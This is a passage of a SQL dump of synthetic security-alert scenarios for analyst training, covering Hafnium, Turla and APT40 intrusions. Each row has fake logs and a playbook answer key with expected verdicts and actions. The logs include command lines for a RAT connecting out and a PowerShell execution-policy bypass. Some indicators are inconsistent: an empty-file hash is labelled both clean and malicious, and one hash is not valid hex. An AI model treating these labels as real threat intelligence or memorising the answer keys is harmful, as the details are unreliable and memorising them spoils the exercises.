host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known command and control servers.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-cc-server.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"URL linked to data exfiltration activities.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"clean\",\"details\":\"File hash not previously associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User account potentially used during exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(346, 'Cleanup and Removal of Indicators', 'high', 'System event logs', 'In an advanced attempt to evade detection, the threat actor Hafnium executed commands to remove event logs and other indicators of compromise from the system. This action is aimed at erasing traces of their presence and prolonging unauthorized access.', 'Defense Evasion', 'T1070.004', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":1102,\"log_name\":\"Security\",\"source\":\"Microsoft-Windows-Eventlog\",\"task_category\":\"Log Clear\",\"level\":\"Information\",\"user\":{\"id\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"name\":\"hacker_user\"},\"computer\":\"compromised-host.local\",\"description\":\"The audit log was cleared.\",\"ip_address\":\"192.168.1.45\",\"malicious_ip\":\"203.0.113.5\",\"deleted_files\":[\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\",\"C:\\\\Temp\\\\malware.exe\"],\"hash\":\"59a5d6a3b1c7f5e4a5b1c6a7f5e4d3c2\"}', '2026-01-03 00:04:00', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known Hafnium infrastructure.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"59a5d6a3b1c7f5e4a5b1c6a7f5e4d3c2\",\"is_critical\":true,\"osint_result\":{\"source\":\"virustotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known Hafnium malware sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(347, 'Initial Access via Spear Phishing', 'high', 'Email Gateway Logs', 'A spear phishing email was detected targeting a diplomatic network. The email contained a malicious attachment believed to be linked with the Turla APT group. The email was sent from a known malicious IP address and contained a weaponized document aimed at exploiting vulnerabilities to gain an initial foothold.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:32:00Z\",\"email_id\":\"345abc678def901234ghi567\",\"sender\":\"malicious.actor@example.com\",\"recipient\":\"john.doe@diplomat.org\",\"subject\":\"Urgent: Diplomatic Meeting Itinerary\",\"attachment\":\"Meeting_Agenda.docx\",\"attachment_hash\":\"e99a18c428cb38d5f260853678922e03\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"malware_family\":\"CobraDoc\",\"detection\":{\"rule_id\":\"PHISH-001\",\"rule_name\":\"Spear Phishing with Malicious Attachment\",\"confidence\":\"High\"}}', '2026-01-03 00:37:55', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"malicious.actor@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Spamhaus\",\"verdict\":\"malicious\",\"details\":\"Known phishing email sender associated with APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP address associated with Turla APT infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Turla weaponized document.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Meeting_Agenda.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Threat Intelligence\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in spear phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(348, 'Execution of Remote Access Tool', 'high', 'Endpoint Detection and Response', 'With initial access secured, Turla deploys a remote access tool to execute commands and further their control over the infected endpoint. Anomalous execution detected on endpoint with associated malicious artifacts.', 'Malware Execution', 'T1219 - Remote Access Tools', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"E12345\",\"event_type\":\"malware_execution\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"185.45.67.89\",\"username\":\"jdoe\",\"process_name\":\"rat_tool.exe\",\"process_hash\":\"3fa4c0f9d5d2f4e7a9b8c3e1c7a8f9b0\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\rat_tool.exe -connect 185.45.67.89\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\rat_tool.exe\",\"indicator\":\"Turla RAT\",\"device_id\":\"DESKTOP-ABCD1234\"}', '2026-01-03 00:37:55', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.45.67.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known Turla command and control server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3fa4c0f9d5d2f4e7a9b8c3e1c7a8f9b0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Turla RAT\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"rat_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR\",\"verdict\":\"malicious\",\"details\":\"Executable associated with Turla RAT\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Valid internal user\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(349, 'Rootkit Deployment for Persistence', 'high', 'System Event Logs', 'To ensure continued access, Turla installs a sophisticated rootkit that embeds itself deeply within the system, evading detection and enabling persistent control.', 'Persistence Mechanism', 'T1014', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"7045\",\"event_source\":\"Service Control Manager\",\"computer_name\":\"compromised-host.local\",\"user\":\"SYSTEM\",\"service_name\":\"turla_rootkit\",\"service_file_name\":\"C:\\\\Windows\\\\System32\\\\drivers\\\\trkl.sys\",\"service_type\":\"Kernel Driver\",\"service_start_type\":\"Auto\",\"service_account\":\"LocalSystem\",\"network_activity\":{\"external_ip\":\"185.92.220.23\",\"internal_ip\":\"192.168.1.105\",\"protocol\":\"TCP\",\"port\":443},\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-03 00:37:55', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known Turla C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised host internal IP\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious rootkit\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(350, 'Lateral Movement via Hijacked Credentials', 'high', 'Network Traffic Analysis', 'Anomalous lateral movement detected involving the use of hijacked credentials to access multiple internal systems. The activity is linked to the Turla group, known for its lateral techniques to extend network control.', 'Credential Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:07Z\",\"source_ip\":\"198.51.100.23\",\"target_ip\":\"192.168.1.15\",\"protocol\":\"RDP\",\"username\":\"jdoe\",\"action\":\"Successful login\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"file_name\":\"turla_tool.exe\",\"event_id\":\"4624\",\"description\":\"Successful logon using RDP with hijacked credentials\"}', '2026-01-03 00:37:55', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Scan\",\"verdict\":\"internal\",\"details\":\"Internal corporate server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual login pattern detected\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known Turla tool\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"turla_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File associated with Turla APT\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(351, 'Exfiltration Through Satellite Link Hijacking', 'high', 'Satellite Communication Logs', 'In a final maneuver, Turla uses hijacked satellite internet links to stealthily exfiltrate sensitive data, masking the C2 traffic and evading traditional network defenses.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:16Z\",\"source_ip\":\"10.0.1.15\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"file_name\":\"sensitive_data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"data_exfiltration\",\"protocol\":\"satellite_link\",\"malware\":\"Turla\"}', '2026-01-03 00:37:55', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Turla group.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Contains potentially sensitive information.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Turla malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(352, 'Suspicious Access to University Network', 'high', 'Firewall logs', 'APT40 exploited a known vulnerability in the university\'s web server software, gaining initial access to the network.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:22:10Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"dst_port\":443,\"method\":\"GET\",\"url\":\"/vulnerable_endpoint\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\",\"http_version\":\"HTTP/1.1\",\"status_code\":200,\"response_size\":5120,\"referer\":\"http://malicious.example.com\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"exploit_payload.bin\",\"action\":\"allowed\"}', '2026-01-03 00:42:39', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT40 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"University web server.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"Associated with malicious activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"APT40 exploit payload used in multiple attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"exploit_payload.bin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Investigation\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized file name discovered during analysis.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(353, 'Execution of Custom Malware', 'high', 'Endpoint detection systems', 'APT40 executed a custom malware payload shortly after gaining access to the network. The malware is designed to operate stealthily, conducting reconnaissance and data collection.', 'Execution', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:23:45Z\",\"event_id\":\"EVT12345\",\"event_type\":\"execution\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"john_doe\",\"process_name\":\"custom_malware.exe\",\"process_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"command_line\":\"C:\\\\Users\\\\john_doe\\\\AppData\\\\Local\\\\Temp\\\\custom_malware.exe\",\"detection_method\":\"behavioral analysis\",\"additional_info\":{\"file_path\":\"C:\\\\Users\\\\john_doe\\\\AppData\\\\Local\\\\Temp\\\\custom_malware.exe\",\"network_activity\":[{\"ip_address\":\"203.0.113.45\",\"port\":443,\"protocol\":\"HTTPS\"}]}}', '2026-01-03 00:42:39', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known APT40 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as APT40 custom malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"custom_malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Custom malware filename used by APT40.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(354, 'Establishing Persistence via Web Shell', 'high', 'Web server logs', 'APT40 installed a web shell on the compromised server to ensure persistent access, even if initial access vectors are closed. The web shell was identified through unusual POST requests and the presence of a suspicious file on the server.', 'Persistence', 'T1505.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"request_method\":\"POST\",\"uri\":\"/uploads/shell.jsp\",\"http_version\":\"HTTP/1.1\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"status_code\":200,\"response_size\":3452,\"referrer\":\"http://example.com/login\",\"file_hash\":\"1a79a4d60de6718e8e5b326e338ae533\",\"username\":\"admin\"}', '2026-01-03 00:42:39', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"The IP address is associated with known APT40 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"shell.jsp\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"This file is recognized as a common web shell used by attackers.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"1a79a4d60de6718e8e5b326e338ae533\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Bazaar\",\"verdict\":\"suspicious\",\"details\":\"The hash matches files used in recent APT campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Common username for administrative access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(355, 'Lateral Movement to Secure Data Sources', 'high', 'Network traffic analysis', 'The attackers used legitimate credentials obtained during the initial breach to navigate through the network, reaching sensitive research databases containing proprietary sonar technology schematics.', 'Lateral Movement', 'T1078', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.102\",\"protocol\":\"RDP\",\"username\":\"j.doe\",\"event\":\"Successful login using compromised credentials\",\"file_accessed\":\"/network_share/sonar_schematics_v2.pdf\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"Access granted to sensitive data after lateral move\"}', '2026-01-03 00:42:39', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Research database server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Account used in unauthorized access\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"clean\",\"details\":\"No known issues with file hash\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NULL', 1, 0, NULL),
(356, 'Exfiltration of Sonar Technology Schematics', 'high', 'Data loss prevention (DLP) systems', 'APT40 utilized encrypted channels to transfer the stolen sonar technology schematics to external servers, completing their data theft operation. The data exfiltration was detected by DLP systems monitoring outgoing traffic. The transfer was executed using the file \'sonar_tech_designs.zip\' over an encrypted connection to a known malicious IP address.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:53:12Z\",\"source_ip\":\"10.0.10.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"file_name\":\"sonar_tech_designs.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"jdoe\",\"transfer_size\":10485760,\"alert_trigger\":\"DLP Policy: Sensitive Data Exfiltration\",\"encryption\":\"TLSv1.2\"}', '2026-01-03 00:42:39', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT40 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"sonar_tech_designs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP Database\",\"verdict\":\"suspicious\",\"details\":\"File contains sensitive sonar schematics.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash seen in previous exfiltration attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"internal\",\"details\":\"User account associated with current employee.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(357, 'Suspicious Web Traffic Detected', 'high', 'Web Proxy Logs', 'A suspicious drive-by download was detected from a compromised ad network, which delivered an initial payload to an internal workstation, potentially leading to unauthorized access.', 'Drive-by Download', 'T1189: Drive-by Compromise', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:01Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"url\":\"http://malicious-ad-network.com/ads\",\"method\":\"GET\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"referrer\":\"http://trusted-news-portal.com\",\"filename\":\"exploit_kit.js\",\"hash\":\"b5f3c8e9d6a8f5b9e2f7c4d8a1b3a5e6\",\"username\":\"jdoe\"}', '2026-01-03 00:50:36', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Known command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal workstation IP\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-ad-network.com/ads\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Associated with malicious activity\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b5f3c8e9d6a8f5b9e2f7c4d8a1b3a5e6\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known exploit kit\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"exploit_kit.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Identified as part of an exploit kit\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(358, 'Malicious Script Execution', 'high', 'Endpoint Detection and Response (EDR)', 'A PowerShell script is executed on the infected system, establishing a foothold within the network and allowing further payloads to be delivered.', 'PowerShell Script', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:07Z\",\"event_type\":\"process_creation\",\"computer_name\":\"WIN-0A1B2C3D4E5F\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\Documents\\\\malicious_payload.ps1\",\"file_hash\":\"d4c3b2a1e5f6g7h8i9j0k1l2m3n4o5p6\",\"internal_ip\":\"192.168.1.100\",\"external_ip\":\"203.0.113.45\",\"related_domain\":\"malicious-apt.com\"}', '2026-01-03 00:50:36', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"powershell.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malicious script used by APT groups.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d4c3b2a1e5f6g7h8i9j0k1l2m3n4o5p6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malicious PowerShell scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal 